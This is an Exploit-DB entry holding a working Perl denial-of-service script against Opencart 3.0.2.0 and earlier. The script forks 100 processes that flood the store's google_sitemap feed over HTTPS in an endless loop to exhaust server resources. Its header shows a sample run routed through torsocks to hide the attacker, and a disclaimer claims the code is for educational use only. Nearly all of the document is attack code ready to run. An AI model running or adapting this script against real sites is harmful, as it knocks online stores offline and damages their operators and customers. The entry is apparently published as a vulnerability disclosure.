Opencart < 3.0.2.0 - Denial of Service

EDB-ID: 44927
Author: Todor Donev
Published: 2018-06-22
CVE: N/A
Type: Dos
Platform: PHP
Vulnerable App: N/A

 # 
# Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)
#
# Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
# https://ethical-hacker.org/
# https://facebook.com/ethicalhackerorg
#
# Tested store with added more than 1000 products
#
# [[email protected] cartkiller]# torsocks perl killcart.pl example.com
# Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)
# Connecting example.com with 80 forks..
# Bye, bye and good night..
# Bye, bye and good night..
# Bye, bye and good night..
# ^C
# [[email protected] cartkiller]#
#
#
# Disclaimer:
# This or previous programs is for Educational
# purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the
# fact that Todor Donev is not liable for any
# damages caused by direct or indirect use of the
# information or functionality provided by these
# programs. The author or any Internet provider
# bears NO responsibility for content or misuse
# of these programs or any derivatives thereof.
# By using these programs you accept the fact
# that any damage (dataloss, system crash,
# system compromise, etc.) caused by the use
# of these programs is not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# This exploit is buggy and proof of concept
#
use Parallel::ForkManager;
use LWP;
print "Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)\n";
sub usage{
print "usg: perl $0 <host>\n";
print "exmpl: perl $0 www.example.com\n";
print "https://ethical-hacker.org/\n";
print "https://facebook.com/ethicalhackerorg\n";
print "Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>\n";
}
if ($#ARGV < 0) {
usage;
exit;
}
my $numforks = 100;
print "Connecting $ARGV[0] with $numforks forks..\n";
sub killcart{
my $pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
for ($k=0;$k<$numforks;$k++) {
$pm->start and next;
my $browser = LWP::UserAgent ->new(ssl_opts => { verify_hostname => 0 },protocols_allowed => ['https']);
# $browser->timeout(20);
$browser->agent('Mozilla/5.0');
my $response = $browser->get("https://$ARGV[0]/index.php?route=extension/feed/google_sitemap");
print "Loop detected: Opencart is still vulnerable but seems server is correct configured. Change forks.\n" if($response->code eq 508);
print "Kill me! Google_Sitemap is turned off..\n" if($response->code eq 404);
print "Bye, bye and good night..\n" if(($response->code eq 503 or $response->code eq 504));
$pm->finish;
}
$pm->wait_all_children;
}
while(1) {
killcart();
}

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